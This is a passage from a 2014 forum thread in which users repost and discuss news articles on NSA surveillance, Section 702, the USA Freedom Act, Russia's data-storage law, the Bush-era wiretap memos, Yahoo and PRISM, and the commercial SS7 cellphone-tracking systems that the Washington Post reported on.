"Overall, the Board has found that the information the program collects has been valuable and effective in protecting the nation’s security and producing useful foreign intelligence," the report reads. The program, it says, "has been subject to judicial oversight and extensive internal supervision, and the Board has found no evidence of intentional abuse."

The board acknowledges that the two NSA surveillance programs revealed by Snowden that make use of the 2008 law -- PRISM, which sends specific search terms to electronic communications service providers, and "upstream collection," in which the NSA searches the Internet backbone -- may incidentally sweep up an untold number of Americans' communications.

"The collection and examination of U.S. persons’ communications represents a privacy intrusion even in the absence of misuse for improper ends," the report finds.

Its authors express frustration that the NSA and other government agencies have been unable to furnish estimates of the incidental collection of Americans' communications, which "hampers attempts to gauge whether the program appropriately balances national security interests with the privacy of U.S. persons."

But without signs of abuse, the board concludes privacy intrusions are justified in protecting against threats to the U.S.

Nevertheless, the board suggests that the government take on the "backdoor searches" that have alarmed Wyden. In those searches, the government searches through the content of communications collected while targeting foreigners for search terms associated with U.S. citizens and residents. The House voted in June to end such searches.

The searches "push the program close to the line of constitutional reasonableness," the privacy board report says, but it doesn't recommend ending them.

As the Office of the Director of National Intelligence revealed in a Friday letter, the NSA searches communications acquired under the 2008 surveillance law for personal identifiers of Americans thousands of times per year. The CIA is also in on the act, as is the FBI, which has its own national security mission that focuses on the domestic sphere, and conducts a "substantial" but uncounted number of searches on the surveillance data.

"The manner in which the FBI is employing U.S. person queries, while subject to genuine efforts at executive branch oversight, is difficult to evaluate, as is the CIA’s use of metadata queries," the board says.

A split on the board prevented the report from recommending aggressive action on FBI searches.

Chairman David Medine and board member Patricia Wald call on a foreign intelligence surveillance court to oversee FBI searches of search terms related to Americans to determine whether they are "reasonably likely to return information relevant to an assessment or investigation of a crime."

Two more conservative members of the board support requiring FBI agents to ask a supervisor for permission. A third, James Dempsey, the Center for Democracy and Technology vice president for public policy, says, "Any number of possible structures would provide heightened protection of U.S. persons."

http://www.huffingtonpost.com/2014/07/02/pclob-section-702_n_5550010.html?utm_hp_ref=world&ir=World

Title: Re: they know what you are doing
Post by: sky otter on July 05, 2014, 09:34:10 am


wow..and this is where snoden is.. wonder if he's helping them.. ::)


http://www.bbc.com/news/world-europe-28173513


.Russian MPs back law on internet data storage

 July 2014 Last updated at 23:22 ET

Russia's lower house of parliament has passed a law requiring internet companies to store Russian citizens' personal data inside the country.

The Kremlin says the move is for data protection but critics fear it is aimed at muzzling social networks like Twitter and Facebook.

The Russian government is thought to be seeking greater access to user data.

Social networks were widely used by protesters opposing President Vladimir Putin's return to the Kremlin in 2012.

Analysts say there are fears that Russia may be seeking to create a closed and censored version of the internet within its borders.

The new bill must still be approved by the upper chamber and President Putin before it becomes law.

If passed, the new rules will not take effect until September 2016 but will give the government grounds to block sites that do not comply.

"The aim of this law is to create... (another) quasi-legal pretext to close Facebook, Twitter, YouTube and all other services," internet expert and blogger Anton Nossik told Reuters news agency.

"The ultimate goal is to shut mouths, enforce censorship in the country and shape a situation where internet business would not be able to exist and function properly."

But introducing the bill to parliament, MP Vadim Dengin said "most Russians don't want their data to leave Russia for the United States, where it can be hacked and given to criminals".

"Our entire lives are stored over there," he said, adding that companies should build data centres within Russia.




More on This Story
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http://www.bbc.com/news/world-europe-28173513



From other news sites

Telegraph
Russian MPs tighten control over internet data storage
5 hrs agoThe Independent


Russia tightens grip on internet passing bill to prevent personal data being 'given to US criminals'
5 hrs agoSouth China Morning Post*


Russia passes law to force websites to store data on servers inside the country
7 hrs agoRadio Free Europe

Russia Passes Internet Data Law
13 hrs ago


Reuters UK
Russia passes law to force websites onto Russian servers
21 hrs ago
Title: Re: they know what you are doing
Post by: sky otter on July 29, 2014, 09:42:55 am


http://news.msn.com/us/us-senate-bill-proposes-sweeping-curbs-on-nsa-surveillance

U.S. Senate bill proposes sweeping curbs on NSA surveillance

1 hr ago By Doina Chiacu of Reuters
WASHINGTON (Reuters) - Senator Patrick Leahy will introduce legislation on Tuesday to ban the U.S. government's bulk collection of Americans' telephone records and Internet data and narrow how much information it can seek in any particular search.

The bill, which has White House backing, goes further than a version passed by the U.S. House of Representatives in reducing bulk collection and may be more acceptable to critics who have dismissed other versions as too weak.

Revelations last year by former National Security Agency contractor Edward Snowden prompted President Barack Obama to ask Congress in January to rein in the bulk collection and storage of records of millions of U.S. domestic telephone calls.

Many American technology companies also have been clamoring for changes after seeing their international business suffer as foreign governments worry they might collect data and hand it over to U.S. spy agencies.

The legislation is not expected to come up for a vote in the Senate before Congress leaves for a five-week break on Friday.

Leahy, the Democratic chairman of the Senate Judiciary Committee, proposed greater limits on the terms analysts use to search databases held by phone companies such as Verizon Communications Inc or AT&T Inc.

The bill, called the USA Freedom Act, would prohibit the government from collecting all information from a particular service provider or a broad geographic area, such as a city or area code, according to a release from Leahy's office.

The USA Freedom Act would expand government and company reporting to the public and reform the Foreign Intelligence Surveillance Court, which reviews NSA intelligence activities.

The House passed its version in May.

Both measures would keep information out of NSA computers, but the Senate bill would impose stricter limits on how much data the spy agency could seek.

The Senate bill would end the bulk collection authorized by Section 215 of the USA Patriot Act, which was enacted in the George W. Bush administration after the Sept. 11, 2001, attacks. It instead would authorize searches for telephone call records "two hops" from a search term, with a hop indicating connections between people suspected of links to foreign terrorism.

The NSA has had legal authority to collect and hold for five years metadata for all telephone calls inside the United States. Telephone metadata documents the numbers involved, when the calls were made and how long they lasted, but not their content.

Leahy's bill would require the government to report the number of individuals - including Americans - whose information has been collected. It gives private companies four options to report on the number of government requests they get.

The bill would require the Foreign Intelligence Surveillance Court to appoint a panel of legal advocates to address privacy and civil liberties issues.

National Security Council spokesman Ned Price praised Leahy on Monday for having done "remarkable work" balancing security and privacy concerns in the bill.

(Reporting by Doina Chiacu, Roberta Rampton, Joseph Menn in San Francisco; Writing by Doina Chiacu; Editing by Lisa Von Ahn)
Title: Re: they know what you are doing
Post by: sky otter on August 05, 2014, 04:44:40 pm


and so it continues...yeahhhhhh



U.S.: New mole leaking govt. documents
Officials tell CNN's Evan Perez that a new government mole has been leaking U.S. intelligence documents.

 http://news.msn.com/videos/?ap=True&videoid=4b07757a-619e-15b6-ea6f-e687b6a76354&from=en-us_msnhp


site mentioned in vid but  can’t find the original  article:  https://firstlook.org/theintercept/news/



..........................................



http://www.cnn.com/2014/08/05/politics/u-s-new-leaker/index.html

New leaker disclosing U.S. secrets, government concludes
By Evan Perez, CNN
updated 5:16 PM EDT, Tue August 5, 2014
CNN) -- The federal government has concluded there's a new leaker exposing national security documents in the aftermath of surveillance disclosures by former NSA contractor Edward Snowden, U.S. officials tell CNN.

Proof of the newest leak comes from national security documents that formed the basis of a news story published Tuesday by the Intercept, the news site launched by Glenn Greenwald, who also published Snowden's leaks.

NSA leaker Edward Snowden asks to extend Russia asylum



One year of Edward Snowden's revelations

Snowden: 'I was trained as a spy'  Sharing secrets: U.S. intelligence leaks The Intercept article focuses on the growth in U.S. government databases of known or suspected terrorist names during the Obama administration.

The article cites documents prepared by the National Counterterrorism Center dated August 2013, which is after Snowden left the United States to avoid criminal charges.

Greenwald has suggested there was another leaker. In July, he said on Twitter "it seems clear at this point" that there was another.

Government officials have been investigating to find out that identity.

In a February interview with CNN's Reliable Sources, Greenwald said: "I definitely think it's fair to say that there are people who have been inspired by Edward Snowden's courage and by the great good and virtue that it has achieved."

He added, "I have no doubt there will be other sources inside the government who see extreme wrongdoing who are inspired by Edward Snowden."

It's not yet clear how many documents the new leaker has shared and how much damage it may cause.

So far, the documents shared by the new leaker are labeled "Secret" and "NOFORN," which means it isn't to be shared with foreign government.

That's a lower level of classification than most of the documents leaked by Snowden.

Government officials say he stole 1.7 million classified documents, many of which were labeled "Top Secret," a higher classification for the government's most important secrets.

Big databases

The biggest database, called the Terrorist Identities Datamart Environment, now has 1 million names, a U.S. official confirmed to CNN.

That's boosted from half that many in the aftermath of the botched attempt by the so-called underwear bomber to blow up a U.S.-bound jetliner on Christmas Day in 2009.

The growth of TIDE, and other more specialized terrorist databases and watchlists, was a result of vulnerabilities exposed in the 2009 underwear plot, government officials said.

A year after Snowden

The underwear bomber, Umar Farouk Abdulmuttalab, was not on government watchlists that would have prevented him from being allowed to fly to the United States.

In 2012, the National Counterterrorism Center reported that the TIDE database contained 875,000 names. There were about 500,000 in 2009 before the underwear bomb plot.

The Intercept first reported the new TIDE database numbers, along with details of other databases.

The Intercept article

As of November, 2013, there were 700,000 people listed in the Terrorist Screening Database (TSDB), or the "Terrorist Watchlist, according to a U.S. official. Fewer than 1% are U.S. persons and fewer than 0.5% are U.S. citizens.

The list has grown somewhat since that time, but is nowhere near the 1.5 million figure cited in recent news reports. Current numbers for the TSDB cannot be released at this time.

The Intercept report said, citing the documents, that 40% on the "Terrorist Watchlist" aren't affiliated with terror groups.

U.S. officials familiar with the matter say the claim is incorrect based on a misreading of the documents.

Americans on lists

The report said that as of August, 2013, 5,000 Americans were on the TSD watchlist. Another 15,800 were on the wider TIDE list.

A smaller subset, 16,000 names, including 1,200 belonging to Americans, are listed as "selectees" who are subject to more intensive screening at airports and border crossings.

According to the Intercept, citing the documents, the cities with the most names on the list are: New York, Dearborn, Michigan; Houston; San Diego; and Chicago. Dearborn is home to one the nation's biggest concentrations of Arab and Muslim populations.

According to the documents cited by the Intercept, the government has also begun a new effort to collect information and biometric data on U.S. persons in the aftermath of the 2013 Boston Marathon bombings.

The data includes photos from driver's licenses. That effort likely was spurred by the fact that FBI agents investigating the Boston bombings found existing databases lacking when they tried to match images of the two bombers isolated from surveillance video, according to U.S. officials familiar with the matter.

Stored on Pentagon system

Documents classified as "Secret" are stored on a Pentagon-operated computer system called SIPRNet, which the Defense and State departments use to share classified information.

A recent Government Accountability Office study found that between 2006-2011 there were 3.2 million approved by the Pentagon to handle secret, top secret, SCI (sensitive compartmented) information.

SIPRnet is one of the computer systems that the former Army soldier now known as Chelsea Manning accessed to leak hundreds of thousands documents, including State Department cables.

The Manning leak was the largest U.S. intelligence leak until Snowden.

Obama, Congress working on changes to NSA

Opinion: NSA and your phone records: What should Obama do?

Review board finds potential abuses in NSA phone, internet surveillance



..............................................



http://www.cnn.com/2014/08/05/politics/u-s-new-leaker/index.html

New leaker disclosing U.S. secrets, government concludesBy Evan Perez, CNN
updated 5:16 PM EDT, Tue August 5, 2014


.......................



http://www.theverge.com/2014/8/5/5972137/us-terror-watch-list-numbers-leaked-to-the-intercept
US officials say someone else is leaking documents in the wake of Snowden
New documents shed light on US terror watch list, revealing almost half the people on it don't have any known connections to terror groups

By Carl Franzen on August 5, 2014 03:12 pm Email @carlfranzen


Title: Re: they know what you are doing
Post by: robomont on August 05, 2014, 05:48:06 pm
until snowden dumps docs on ufos,im not 100%, nor with greenwald or cryptome even though im a fan of cryptome.
Title: Re: they know what you are doing
Post by: sky otter on August 26, 2014, 08:12:03 pm


well darn if I ever get lost in the woods no one will find me.. I don't own a cellphone.
.opps.
. I should say a cell phone doesn't own me.. ;D




http://www.washingtonpost.com/business/technology/for-sale-systems-that-can-secretly-track-where-cellphone-users-go-around-the-globe/2014/08/24/f0700e8a-f003-11e3-bf76-447a5df6411f_story.html

For sale: Systems that can secretly track where cellphone users go around the globe



 View Graphic ? 
Here's how cellphone tracking works.
By Craig Timberg August 24 ?   


Makers of surveillance systems are offering governments across the world the ability to track the movements of almost anybody who carries a cellphone, whether they are blocks away or on another continent.

The technology works by exploiting an essential fact of all cellular networks: They must keep detailed, up-to-the-minute records on the locations of their customers to deliver calls and other services to them. Surveillance systems are secretly collecting these records to map people’s travels over days, weeks or longer, according to company marketing documents and experts in surveillance technology.

The world’s most powerful intelligence services, such as the National Security Agency and Britain’s GCHQ, long have used cellphone data to track targets around the globe. But experts say these new systems allow less technically advanced governments to track people in any nation — including the United States — with relative ease and precision.

Users of such technology type a phone number into a computer portal, which then collects information from the location databases maintained by cellular carriers, company documents show. In this way, the surveillance system learns which cell tower a target is currently using, revealing his or her location to within a few blocks in an urban area or a few miles in a rural one.

It is unclear which governments have acquired these tracking systems, but one industry official, speaking on the condition of anonymity to share sensitive trade information, said that dozens of countries have bought or leased such technology in recent years. This rapid spread underscores how the burgeoning, multibillion-dollar surveillance industry makes advanced spying technology available worldwide.





“Any tin-pot dictator with enough money to buy the system could spy on people anywhere in the world,” said Eric King, deputy director of Privacy International, a London-based activist group that warns about the abuse of surveillance technology. “This is a huge problem.”

Security experts say hackers, sophisticated criminal gangs and nations under sanctions also could use this tracking technology, which operates in a legal gray area. It is illegal in many countries to track people without their consent or a court order, but there is no clear international legal standard for secretly tracking people in other countries, nor is there a global entity with the authority to police potential abuses.

In response to questions from The Washington Post this month, the Federal Communications Commission said it would investigate possible misuse of tracking technology that collects location data from carrier databases. The United States restricts the export of some surveillance technology, but with multiple suppliers based overseas, there are few practical limits on the sale or use of these systems internationally.

“If this is technically possible, why couldn’t anybody do this anywhere?” said Jon Peha, a former White House scientific adviser and chief technologist for the FCC who is now an engineering professor at Carnegie Mellon University. He was one of several telecommunications experts who reviewed the marketing documents at The Post’s request.

“I’m worried about foreign governments, and I’m even more worried about non-governments,” Peha said. “Which is not to say I’d be happy about the NSA using this method to collect location data. But better them than the Iranians.”

‘Locate. Track. Manipulate.’

Location tracking is an increasingly common part of modern life. Apps that help you navigate through a city or find the nearest coffee shop need to know your location. Many people keep tabs on their teenage children — or their spouses — through tracking apps on smartphones. But these forms of tracking require consent; mobile devices typically allow these location features to be blocked if users desire.

Tracking systems built for intelligence services or police, however, are inherently stealthy and difficult — if not impossible — to block. Private surveillance vendors offer government agencies several such technologies, including systems that collect cellular signals from nearby phones and others that use malicious software to trick phones into revealing their locations.


Governments also have long had the ability to compel carriers to provide tracking data on their customers, especially within their own countries. The National Security Agency, meanwhile, taps into telecommunication-system cables to collect cellphone location data on a mass, global scale.

But tracking systems that access carrier location databases are unusual in their ability to allow virtually any government to track people across borders, with any type of cellular phone, across a wide range of carriers — without the carriers even knowing. These systems also can be used in tandem with other technologies that, when the general location of a person is already known, can intercept calls and Internet traffic, activate microphones, and access contact lists, photos and other documents.




Companies that make and sell surveillance technology seek to limit public information about their systems’ capabilities and client lists, typically marketing their technology directly to law enforcement and intelligence services through international conferences that are closed to journalists and other members of the public.

Yet marketing documents obtained by The Washington Post show that companies are offering powerful systems that are designed to evade detection while plotting movements of surveillance targets on computerized maps. The documents claim system success rates of more than 70 percent.

A 24-page marketing brochure for SkyLock, a cellular tracking system sold by Verint, a maker of analytics systems based in Melville, N.Y., carries the subtitle “Locate. Track. Manipulate.” The document, dated January 2013 and labeled “Commercially Confidential,” says the system offers government agencies “a cost-
effective, new approach to obtaining global location information concerning known targets.”

The brochure includes screen shots of maps depicting location tracking in what appears to be Mexico, Nigeria, South Africa, Brazil, Congo, the United Arab Emirates, Zimbabwe and several other countries. Verint says on its Web site that it is “a global leader in Actionable Intelligence solutions for customer engagement optimization, security intelligence, and fraud, risk and compliance,” with clients in “more than 10,000 organizations in over 180 countries.”

(Privacy International has collected several marketing brochures on cellular surveillance systems, including one that refers briefly to SkyLock, and posted them on its Web site. The 24-page SkyLock brochure and other material was independently provided to The Post by people concerned that such systems are being abused.)

Verint, which also has substantial operations in Israel, declined to comment for this story. It says in the marketing brochure that it does not use SkyLock against U.S. or Israeli phones, which could violate national laws. But several similar systems, marketed in recent years by companies based in Switzerland, Ukraine and elsewhere, likely are free of such limitations.

At The Post’s request, telecommunications security researcher Tobias Engel used the techniques described by the marketing documents to determine the location of a Post employee who used an AT&T phone and consented to the tracking. Based only on her phone number, Engel found the Post employee’s location, in downtown Washington, to within a city block — a typical level of precision when such systems are used in urban areas.

“You’re obviously trackable from all over the planet if you have a cellphone with you, as long as it’s turned on,” said Engel, who is based in Berlin. “It’s possible for almost anyone to track you as long as they are willing to spend some money on it.”

AT&T declined to comment for this story.

Exploiting the SS7 network

The tracking technology takes advantage of the lax security of SS7, a global network that cellular carriers use to communicate with one another when directing calls, texts and Internet data.

The system was built decades ago, when only a few large carriers controlled the bulk of global phone traffic. Now thousands of companies use SS7 to provide services to billions of phones and other mobile devices, security experts say. All of these companies have access to the network and can send queries to other companies on the SS7 system, making the entire network more vulnerable to exploitation. Any one of these companies could share its access with others, including makers of surveillance systems.




The tracking systems use queries sent over the SS7 network to ask carriers what cell tower a customer has used most recently. Carriers configure their systems to transmit such information only to trusted companies that need it to direct calls or other telecommunications services to customers. But the protections against unintended access are weak and easily defeated, said Engel and other researchers.

By repeatedly collecting this location data, the tracking systems can show whether a person is walking down a city street or driving down a highway, or whether the person has recently taken a flight to a new city or country.

“We don’t have a monopoly on the use of this and probably can be sure that other governments are doing this to us in reverse,” said lawyer Albert Gidari Jr., a partner at Perkins Coie who specializes in privacy and technology.

Carriers can attempt to block these SS7 queries but rarely do so successfully, experts say, amid the massive data exchanges coursing through global telecommunications networks. P1 Security, a research firm in Paris, has been testing one query commonly used for surveillance, called an “Any Time Interrogation” query, that prompts a carrier to report the location of an individual customer. Of the carriers tested so far, 75 percent responded to “Any Time Interrogation” queries by providing location data on their customers. (Testing on U.S. carriers has not been completed.)

“People don’t understand how easy it is to spy on them,” said Philippe Langlois, chief executive of P1 Security.
The GSMA, a London-based trade group that represents carriers and equipment manufacturers, said it was not aware of the existence of tracking systems that use SS7 queries, but it acknowledged serious security issues with the network, which is slated to be gradually replaced over the next decade because of a growing list of security and technical shortcomings.

“SS7 is inherently insecure, and it was never designed to be secure,” said James Moran, security director for the GSMA. “It is possible, with access to SS7, to trigger a request for a record from a network.”

The documents for Verint and several other companies say that the surveillance services are intended for governments and that customers must abide by laws regarding their use. Yet privacy advocates and other critics say the surveillance industry is inherently secretive, poorly regulated and indiscriminate in selecting its customers, sometimes putting profoundly intrusive tools into the hands of governments with little respect for human rights or tolerance of political dissent.

Refining the techniques

Engel, the German telecommunications security researcher, was the first to publicly disclose the ability to use carrier networks to surreptitiously gather user location information, at a 2008 conference sponsored by the Chaos Computer Club, a hacker activist group based in Germany. The techniques Engel used that day were far cruder than the ones used by today’s cellular tracking systems but still caused a stir in the security community.

From the lectern, he asked for help from a volunteer from the audience. A man in an untucked plaid shirt ambled up with his cellphone in one hand and a beer in the other. Engel typed the number into his computer, and even though it was for a British phone, a screen at the front of the room soon displayed the current location — in Berlin.



Two years later, a pair of American telecommunications researchers expanded on Engel’s discovery with a program they called “The Carmen Sandiego Project,” named after a popular educational video game and television series that taught geography by having users answer questions.

Researchers Don Bailey and Nick DePetrillo found that the rough locations provided by Engel’s technique could be mixed with other publicly available data to better map the locations of users. They even accessed the video feeds of highway cameras along Interstate 70 in Denver to gain a clearer picture of targeted cellphone users.

“We could tell that they were going a certain speed on I-70,” Bailey recalled. “Not only could you track a person, you could remotely identify a car and who was driving.”

An official for AT&T, Patrick McCanna, was in the audience when DePetrillo and Bailey presented their findings at a conference in 2010. McCanna praised the researchers for their work, they later said, and recruited their help to make it harder to gather location data.

Many of the world’s largest cellular networks made similar efforts, though significant loopholes remained.

As some carriers tightened their defenses, surveillance industry researchers developed even more effective ways to collect data from SS7 networks. The advanced systems now being marketed offer more-precise location information on targets and are harder for carriers to detect or defeat.

Telecommunications experts say networks have become so complex that implementing new security measures to defend against these surveillance systems could cost billions of dollars and hurt the functioning of basic services, such as routing calls, texts and Internet to customers.

“These systems are massive. And they’re running close to capacity all the time, and to make changes to how they interact with hundreds or thousands of phones is really risky,” said Bart Stidham, a longtime telecommunications system architect based in Virginia. “You don’t know what happens.”

Paired up with ‘catchers’

Companies that market SS7 tracking systems recommend using them in tandem with “IMSI catchers,” increasingly common surveillance devices that use cellular signals collected directly from the air to intercept calls and Internet traffic, send fake texts, install spyware on a phone, and determine precise locations.

IMSI catchers — also known by one popular trade name, StingRay — can home in on somebody a mile or two away but are useless if a target’s general location is not known. SS7 tracking systems solve that problem by locating the general area of a target so that IMSI catchers can be deployed effectively. (The term “IMSI” refers to a unique identifying code on a cellular phone.)

The FCC recently created an internal task force to study misuse of IMSI catchers by criminal gangs and foreign intelligence agencies, which reportedly have used the systems to spy on American citizens, businesses and diplomats. It is legal for law enforcement agencies in the United States to use IMSI catchers for authorized purposes.

When asked by The Post about systems that use SS7 tracking, FCC spokeswoman Kim Hart said, “This type of system could fall into the category of technologies that we expect the FCC’s internal task force to examine.”

The marketing brochure for Verint’s SkyLock system suggests using it in conjunction with Verint’s IMSI catcher, called the Engage GI2. Together, they allow government agencies “to accurately pinpoint their suspect for apprehension, making it virtually impossible for targets to escape, no matter where they reside in the world.”

Verint can install SkyLock on the networks of cellular carriers if they are cooperative — something that telecommunications experts say is common in countries where carriers have close relationships with their national governments. Verint also has its own “worldwide SS7 hubs” that “are spread in various locations around the world,” says the brochure. It does not list prices for the services, though it says that Verint charges more for the ability to track targets in many far-flung countries, as opposed to only a few nearby ones.

Among the most appealing features of the system, the brochure says, is its ability to sidestep the cellular operators that sometimes protect their users’ personal information by refusing government requests or insisting on formal court orders before releasing information.

“In most cases mobile operators are not willing to cooperate with operational agencies in order to provide them the ability to gain control and manipulate the network services given to its subscribers,” the brochure says. “Verint’s SkyLock is a global geo-location solution which was designed and developed to address the limitations mentioned above, and meet operational agency requirements.”

Another company, Defentek, markets a similar system called Infiltrator Global Real-Time Tracking System on its Web site, claiming to “locate and track any phone number in the world.”

The site adds: “It is a strategic solution that infiltrates and is undetected and unknown by the network, carrier, or the target.”

The company, which according to the Web site is registered in Panama City, declined to comment for this story.


 I went back to find this this after reading this one:


Cellphones Data Can Now Track Anyone Anywhere, And The Technology Is Available To All
Tuesday, August 26, 2014

Read the original source: http://www.unknowncountry.com/news/cellphones-data-can-now-track-anyone-anywhere-and-technology-available-anyone#ixzz3BYgX8FLP


 :(
Title: Re: they know what you are doing
Post by: The Matrix Traveller on August 26, 2014, 08:44:48 pm
Re. ' Search & Rescue Services ' !

There are some that were saved due to "cell phone tracking". (both at sea and on land)

If it was NOT for their cell phone, ('Tracking') they would have possibly never been found in time.   :(

Like all things 'tech.' can either be abused .... or used for the overall good.

It's Not the 'Tech.' we should be blaming but rather understand human nature, both + & - .

The Difficulty in this program, (Earth) all has been produced involving the 'Opposites' !


By nature this world (Earth) is 'Paradoxical'.
Title: Re: they know what you are doing
Post by: sky otter on September 06, 2014, 10:22:38 am

oh my ! what a surprise....NOT   :(



http://www.washingtonpost.com/world/national-security/legal-memos-released-on-bush-era-justification-for-warrantless-wiretapping/2014/09/05/91b86c52-356d-11e4-9e92-0899b306bbea_story.html

National Security

Legal memos released on Bush-era justification for warrantless wiretapping

By Ellen Nakashima September 6 at 11:01 AM ?   


The Justice Department released two decade-old memos Friday night, offering the fullest public airing to date of the Bush administration’s legal justification for the warrantless wiretapping of Americans’ phone calls and e-mails — a program that began in secret after the 2001 terrorist attacks.

The broad outlines of the argument — that the president has inherent constitutional power to monitor Americans’ communications without a warrant in a time of war — were known, but the sweep of the reasoning becomes even clearer in the memos written by then-Assistant Attorney General Jack Goldsmith, who was head of President George W. Bush’s Office of Legal Counsel.

“We conclude only that when the nation has been thrust into an armed conflict by a foreign attack on the United States and the president determines in his role as commander in chief .?.?. that it is essential for defense against a further foreign attack to use the [wiretapping] capabilities of the [National Security Agency] within the United States, he has inherent constitutional authority” to order warrantless wiretapping — “an authority that Congress cannot curtail,” Goldsmith wrote in a redacted 108-page memo dated May 6, 2004.

The program, code-named Stellar Wind, enabled the NSA to collect communications on U.S. soil when at least one party was believed to be a member of al-Qaeda or an al-Qaeda affiliate, and at least one end of the communication was overseas.

Its existence was revealed in 2005 by the New York Times, setting off great controversy, and the program was finally brought under court oversight in 2007.
What these memos show is that nearly three years after President Bush authorized the warrantless wiretapping of Americans’ e-mails and phone calls, government lawyers were still struggling to put the program on sound legal footing,” said Patrick Toomey, staff attorney for the American Civil Liberties Union, which obtained the memos through a Freedom of Information Act lawsuit.

The memos were also obtained by the Electronic Privacy Information Center.

“Their conclusions are deeply disturbing,” he said. “They suggest that the president’s power to monitor the communications of Americans is virtually unlimited — by the Constitution, or by Congress — when it comes to foreign intelligence.”

Goldsmith argued that Congress’s 2001 Authorization for the Use of Military Force passed shortly after the al-Qaeda attacks on the United States provided “express authority” for the warrantless program. “In authorizing ‘all necessary and appropriate force,’?” he reasoned, the AUMF necessarily applied to electronic surveillance, including domestically.

He also asserted that the authorization can be read to “provide specific authority .?.?. that overrides the limitations” of the Foreign Intelligence Surveillance Act, a law passed in 1978 that required a court order to wiretap an American or any person on U.S. soil.

So broad is the president’s Article II power, that he can conduct warrantless searches for foreign intelligence purposes without congressional approval “even in peacetime,” Goldsmith stated, citing Supreme Court cases and the Federalist papers.

In a second memo, dated July 16, 2004 , Goldsmith argued that a Supreme Court decision reached weeks earlier, involving a U.S. citizen named Yaser Esam Hamdi captured on the battlefield in Afghanistan, bolstered the reasoning of his first memo. Five justices in the decision, he said, agreed that Hamdi’s detention was authorized because it is a “fundamental” and “accepted” incident of waging war, he said.


“Because the interception of enemy communications for intelligence purposes is also a fundamental and long-accepted incident of war, the [AUMF] likewise provides authority for Stellar Wind,” he said.

The Hamdi decision, Toomey noted, did not make any mention of wiretapping or intelligence collection on U.S. soil.

The memos were written at a time of high-level internal debate about the legality of the surveillance programs. And the unredacted portions do not reveal much analysis about what was reported to have been at the time the most controversial of the programs: the NSA’s bulk collection of e-mail metadata, or mass gathering of information such as the to-from lines in an e-mail.

In March 2004, the OLC concluded the e-mail program was not legal, and then-Acting Attorney General James Comey refused to reauthorize it.

That refusal resulted in a dramatic showdown that month between Attorney General John Ashcroft, who was in the hospital with a severe pancreatic ailment, and White House counsel Alberto Gonzales, who had rushed to Ashcroft’s hospital bedside in a futile attempt to persuade him to reauthorize the e-mail program. In July 2004, the Foreign Intelligence Surveillance Court authorized the program under a theory that bulk e-mail collection could be relevant to a terrorism investigation. That program was shut down in 2011.

“Unfortunately, the sweeping surveillance they sought to justify is not a thing of the past,” Toomey said. “The government’s legal rationales have shifted over time, but some of today’s surveillance programs are even broader and more intrusive than those put in place more than a decade ago by President Bush.”

The warrantless program was placed under statute in 2007 and 2008 by Congress. The current program, known as Section 702 of the FISA Amendments Act, gives the government authority to collect communications on U.S. soil when the target is believed to be a foreigner overseas — not just for purposes of countering terrorism, but also for broader foreign intelligence purposes

Title: Re: they know what you are doing
Post by: this_is_who_we_are on September 06, 2014, 01:18:43 pm
I would like to know what duplicate terms or duplicate combinations of words one could insert into the redacted portions (highlighted) of both text blocks, #3 and #9 below from the memo.

I think the term or combination of words would be the same term or combination of words in each redacted portion highlighted below in the memo.

I think that if we knew what the redacted portions I've highlighted said, we would become aware of a secret, illegal Title that had been assigned to The President, or self asserted by by The President himself, in addition to the Title "Commander in Chief of the Military", or it would indicate an obfuscated illegal ability that The President exercised when he actually had no legal basis to do so. Hence the redaction.

So, I ask: What title, term, set of action words, or the like can be used exactly the same way when inserted into each redacted portion of the text in both of the highlighted portions of the memo below?

If we coiuld figure that out, I think we would be onto something.

For instance, what if we inserted the term "pro se" into both redated portions?

Text Block #3:

“We conclude only that when the nation has been thrust into an armed conflict by a foreign attack on the United States and the president determines in his role as commander in chief .?.?. that it is essential for defense against a further foreign attack to use the [wiretapping] capabilities of the [National Security Agency] within the United States, he has inherent constitutional authority” to order warrantless wiretapping — “an authority that Congress cannot curtail,”

“We conclude only that when the nation has been thrust into an armed conflict by a foreign attack on the United States and the president determines in his role as commander in chief, pro se, that it is essential for defense against a further foreign attack to use the [wiretapping] capabilities of the [National Security Agency] within the United States, he has inherent constitutional authority” to order warrantless wiretapping — “an authority that Congress cannot curtail,”

Text Block #9:

He also asserted that the authorization can be read to “provide specific authority .?.?. that overrides the limitations” of the Foreign Intelligence Surveillance Act, a law passed in 1978 that required a court order to wiretap an American or any person on U.S. soil.

He also asserted that the authorization can be read to “provide specific authority, pro se, that overrides the limitations” of the Foreign Intelligence Surveillance Act, a law passed in 1978 that required a court order to wiretap an American or any person on U.S. soil.
Title: Re: they know what you are doing
Post by: ArMaP on September 06, 2014, 01:48:51 pm
Nice thinking, this_is_who_we_are, but those "..." represent just some text that they didn't think relevant for the news article, you can see the PDF here (http://s3.documentcloud.org/documents/1284208/memorandum-for-the-attorney-general.pdf) and see that, in the first case, the missing words are "and sole organ for the Nation in foreign affairs" and in the second are "during this armed conflict".

Below you can see how those sentences look on the PDF

Block #3 (page 64)
To summarize, we conclude only that when the Nation has been thrust into an armed conflict by  a foreign attack on the  United States and  the President determines in  his role as Commander in Chief and sole organ for the Nation in foreign affairs that it is essential for defense against a further foreign attack to use the signals intelligence capabilities of the Department of Defense within the  United States, he has inherent constitutional authority to direct electronic surveillance without a warrant to  intercept the suspected communications of the enemy -  an authority that Congress cannot curtail.

Block #9 (page 29)
We believe that  the Congressional Authorization can thus be read to provide specific authority during this armed conflict that overrides the limitations in  FISA.
Title: Re: they know what you are doing
Post by: this_is_who_we_are on September 06, 2014, 02:37:28 pm
Excellent work. Similar to what I came up with, but it makes perfect sense now.

Thank you for providing that information.

"...and sole organ for the Nation in foreign affairs".  :-\

Oh dear. I think I've gone cross eyed.




Title: Re: they know what you are doing
Post by: Ellirium113 on September 12, 2014, 07:30:41 am
The NSA Was Going to Fine Yahoo $250K a Day If It Didn't Join PRISM

Quote

When we first learned about NSA metadata collection, we wondered how readily the biggest tech companies acquiesced to the government. Today we start to find out. This is the story of how Yahoo was coerced into PRISM, as told by court documents cited by the Washington Post today.

According to the documents, corroborated by a blog post made public today by Yahoo—the U.S. government first approached the company in 2007 asking for user metadata. The request was unprecedented: The U.S. government was no longer interested in obtaining a court review before requesting metadata on an individual target. The order simply asked for data on targets located outside of the U.S. at the time, be they foreign or U.S. citizens.

Yahoo challenged the government requests several times, citing the limits of the U.S. Constitution, but was denied in the Foreign Intelligence Court of Review, the "secret courts" that oversee surveillance requests regarding national security. The repeated denials, plus the threat of losing $250,000 a day, forced Yahoo to comply with the NSA's PRISM program.

